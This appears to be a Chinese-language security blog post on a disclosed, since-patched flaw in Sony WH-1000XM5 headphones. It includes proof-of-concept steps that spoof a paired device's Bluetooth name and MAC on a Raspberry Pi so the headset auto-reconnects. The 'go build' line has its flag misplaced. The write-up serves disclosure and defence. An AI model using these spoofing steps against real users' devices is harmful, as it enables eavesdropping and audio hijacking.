索尼WH-1000XM5蓝牙漏洞:通过不安全重连实现中间人攻击

本文详细分析了索尼WH-1000XM5耳机存在的蓝牙安全漏洞,攻击者可通过伪造MAC地址和设备名称实现无感重连,进行中间人攻击和音频劫持。文章包含漏洞原理、复现步骤、实际影响及修复方案。

🎧 索尼WH-1000XM5蓝牙漏洞:通过不安全重连实现中间人攻击

🔍 概述

2024年,研究人员负责任地披露了索尼旗舰降噪耳机WH-1000XM5中存在的一个严重蓝牙漏洞。该漏洞允许攻击者冒充已配对设备,在无需用户交互的情况下建立连接。漏洞利用设备蓝牙重连机制的弱点,使其容易遭受中间人(MiTM)攻击、会话劫持和未授权音频访问——即使设备未处于配对模式。

该漏洞已在固件更新v2.4.1中得到修复,但暴露出许多高端耳机在蓝牙重连处理方面存在的更广泛问题。

🧠 根本原因

WH-1000XM5在重连过程中未能安全实现安全简单配对(SSP)协议。设备不验证重新认证密钥,仅依赖之前缓存的蓝牙MAC地址和设备名称来批准连接。

这意味着如果攻击者同时伪造已配对设备的蓝牙名称和地址,WH-1000XM5会自动与其连接,将其视为受信任主机——即使之前从未与该特定设备进行过配对。

这是认证机制中的严重疏忽,偏离了蓝牙安全标准。

🛠️ PoC设置:所需设备

要复现该漏洞,需要以下硬件:

角色 设备 型号 蓝牙版本
🎧 受害设备 索尼WH-1000XM5耳机 WH-1000XM5 5.2
💻 主设备 Surface Laptop 4 / Pixel 7 Pro 多种型号 5.1或5.2
🧑‍💻 攻击者 树莓派4 Model B 4B 5.0 (BlueZ 5.55)

🔧 树莓派(攻击者)配置

步骤1:更改蓝牙名称

1
sudo nano /etc/machine-info

添加行:

1
PRETTY_HOSTNAME=Surface Laptop 4

重启蓝牙服务:

1
sudo systemctl restart bluetooth

步骤2:更改蓝牙MAC地址

安装Go(如未安装):

1
sudo apt install golang-go

创建脚本main.go:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
package main

import (
    "flag"
    "os/exec"
)

func main() {
    addr := flag.String("addr", "", "New Bluetooth MAC")
    flag.Parse()
    exec.Command("sudo", "bdaddr", "-i", "hci0", *addr).Run()
}

编译并运行:

1
2
go build main.go -o chgbtaddr
sudo ./chgbtaddr -addr 00:11:22:33:44:55

步骤3:设置适配器为可发现模式

1
2
3
4
5
bluetoothctl
power on
agent on
discoverable on
pairable on

▶️ 复现步骤

按顺序执行以下步骤:

  1. 将WH-1000XM5与主设备(如Surface Laptop 4)配对
  2. 关闭主设备
  3. 关闭WH-1000XM5(不要按住按钮超过5秒,避免进入配对模式)
  4. 将树莓派的蓝牙MAC和名称伪装成与主设备匹配
  5. 设置树莓派蓝牙适配器为可发现和可配对模式
  6. 开启WH-1000XM5

✅ 耳机会自动连接到树莓派 ❌ 无需配对过程 ⚠️ 不显示任何用户通知或确认

这证明了在零用户交互的情况下对安全耳机的未授权访问。

📂 包含文件

  • main.go – 用于伪造蓝牙MAC地址的Go脚本
  • WH-1000XM5_vuln_poc.pcapng – 显示未授权重连的数据包捕获文件

🔥 实际影响

该漏洞能够实现:

  • 🎧 音频劫持 – 通过攻击者设备路由媒体/音频
  • 🔁 持久重连 – 即使重启后设备也会自动重连
  • 👂 窃听 – 攻击者可以录制或注入虚假音频
  • 🎮 会话接管 – 中断合法的蓝牙会话

在企业或高安全环境中,这可能导致严重的隐私泄露。

🧪 受影响及类似设备

虽然此PoC围绕WH-1000XM5构建,但研究人员指出:

  • WH-1000XM4表现出类似行为
  • WF-1000XM5/XM4可能受影响
  • 至少其他三个高端品牌显示类似缺陷

共同因素:所有这些耳机都使用高性能通用蓝牙芯片,并在其上叠加了厂商特定的固件。漏洞很可能源于不安全的固件设计,而非蓝牙协议本身。

📌 结论

该漏洞是蓝牙SSP重连实现不完整的典型例子。它允许攻击者伪造受信任设备并绕过认证,破坏了核心蓝牙信任机制。

通过负责任披露,索尼在v2.4.1版本中修复了此问题,并承认了研究人员的工作。然而,此案例为制造商敲响了警钟:

  • 在每次重连时实施适当的SSP验证
  • 防止仅基于MAC和名称的自动配对
  • 通知用户任何重连尝试

根本原因可能在于通用蓝牙芯片栈,表明存在更广泛的基础设施问题。

✍️ 最终思考

研究人员通过HackerOne负责任地披露了此漏洞。尽管没有直接奖金,但他们获得了礼品、公开承认,并在ICSS 2025上展示了研究成果。这是社区驱动安全的真实范例。

🧢 关于作者

Aditya Sunny 网络安全爱好者 | 获Bajaj Finance安全英雄荣誉 | 保护过Meta(FB、IG、WA)、Dell、Maffashion等公司 | 前Navodayan | 漏洞猎人

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计